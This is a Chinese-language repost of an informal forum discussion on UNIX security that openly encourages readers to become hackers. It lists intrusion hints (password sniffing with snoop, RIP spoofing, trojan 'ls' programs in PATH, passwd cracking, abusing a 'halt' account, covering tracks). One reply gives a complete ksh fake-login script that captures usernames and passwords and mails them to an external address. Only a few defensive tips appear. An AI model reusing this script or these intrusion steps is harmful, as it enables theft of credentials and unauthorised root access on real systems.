UNIX系统安全(二)

发表于:2007-07-04来源:作者:点击数: 标签:
当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”。他凭什么为这样的 网络 就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个 网络 的安全性呢?曾听说过这样的定义:“ 网络 的安全程度定义为该 网络 被攻击

  当你为用户精心设计了一系列安全措施后,用户总会觉着有点“玄”。他凭什么为这样的网络就是“安全”的呢?是根据设计方案的厚度?还是他为此所花的钱数?到底如何评价一个网络的安全性呢?曾听说过这样的定义:“网络的安全程度定义为该网络被攻击成功的可能性”,听起来倒是蛮有哲理味儿的,可如何实际操作呢?计算机系统的安全程度可以用“橘皮书”的定义来评价,网络系统是不是也可以搞出个“橘皮书”什么的呢?
  
  当你左一层右一层地对信息加密时,心里也许认为层数越多就越安全。但事实是不是真的这样呢?当你又加了一层密时,到底增加了多少的安全性呢?
  
  “喏,你看....”,你指着自己的设计对用户说“即使有人突破了第一道防线,我们还有第二道防线呢。即使第二道也被突破,我们仍然有第三道、第四....”。可怜的用户望着得意洋洋的你,心里不禁嘀咕:“干嘛搞这么复杂....真的非这样不可吗?我可是只是想保证两个星期的安全性啊。”
  
  为了防止大灰狼进来,小猪们把门窗都横七竖八地钉了个死死的。可是大灰狼会不会从别处进来呢?比如说....壁炉的烟囱!聪明的小猪们在壁炉里烧起了一锅开水....。小猪们是聪明的,我们的系统管理员们呢?
  
  计算机系统的安全性依靠一种“访问控制模型”来进行。有没有可能建立一个“网络安全模型”并对它进行形式化的证明,以便从理论上深入开展网络安全的研究?这样就可以摆脱目前的被动地“打补丁”的做法。
  
  网络入侵和网络安全是一对矛盾,没有Hacker高手就不会有好的安全系统。这听起来有些悲哀,可惜是事实。为了提高我们的安全防范能力,我看是不是先培养一批Hacker出来(中国的Hacker太少了)。在此提供几条线索供Hacker们参考:
  
  用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户的口令(当然包括超级用户的)。
  
  sendmail 5.5.9版本以前有个debug命令, 是个强有力的远程调试工具,可惜也是一个大bug。
  
  冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然OSPF协议中有关于身份认证的部分,但很少有人用到。
  
  NFS、NIS都是不太安全的。
  
  1988年的WORM网络病毒最厉害的地方并不是传说中的利用 sendmail的缺陷,而是对看来毫无破绽的finger的攻击!
  
  很多系统管理员为了关机方便而设立了halt之类的特殊用户, 怎样利用这一点来攻击呢?
  
  侵入了一个系统之后,如何“打扫战场”让管理员看不出来? 如何潜伏下来以致于管理员除了重新安装系统,别无清除的办法呢?
  ....
  这些东西都不是我凭空想象的,国外的Hacker们就是这么做的(他们还有很多更厉害的招数呢)。很多东西我也不知道该怎么做,Hacker们自己努力吧。
  1-----
  :     1).用过Solaris的snoop命令吗? 用它可以“听到”同一共享网段内的其他用户:  的口令(当然包括超级用户的)。
  :     3).冒充路由器可以看到所有往来的信息,RIP协议没有身份认证的部分,虽然:  OSPF协议中有关于身份认证的部分,但很少有人用到。
  
  这两个是取得口令的最简洁之法, 呵呵. -------         我也有一简洁之法:
  
  把下面的shell 命令用 ksh 运行
  
  clear
  stty ignbrk
  echo "login:\c"
  read logname
  stty -echo
  echo "password:\c"
  read passwd
  print "\nLogin incorrect\n"
  print $logname $passwd | mail cxterm.bbs@jet.ncic.ac.cn
  stty 0
  stty echo
  exit
  -----
  嗯,是一种方法,但必须你能访问对方的机器才能偷到口令。常用的方法还有在自己能用的目录里放上叫"ls" "grep"之类的程序,希望root能不小心运行到她们, 一旦获得 root 权限, 呵呵, 下面的我就不用说了. 所以 root 的PATH里不应当有 . (当前目录).
  
  更彻底的方法就是根据passwd文件里面的密文算口令的明文, 我曾经编过一个算passwd的程序, 能在 Pentium 100机器上用半个小时左右的时间算出长度<=5 && 只包含字母和数字 的口令. 因此选口令的时候要注意. 用jack14既可,攻击得当的话6位不含大写字母的pass也能在一月内破掉。
  
  这一方法要求必须取得对方含有密文的passwd文件(有shadow passwd的机器上需要取得/etc/shadow), 所以要注意机器上passwd的安全性 (不要试图取消用户对该文件的读权限, 所有的用户都需要能读该文件).
  -----
  解决的办法, 可以用firewall屏蔽网段。
  也可以使用SSL(secure socket layber)替代原有的socket明文数据传输。
  -----
  :      若干机器上都是用户可以直接su halt, 然后就成为超级用户了,
  :      有的机器你可以用rlogin hostname -l halt 对方的机器就被shutdown了,:
  
  我用su halt 然后就shutdown了. 有n个文件没有存盘.

原文转自:http://www.ltesting.net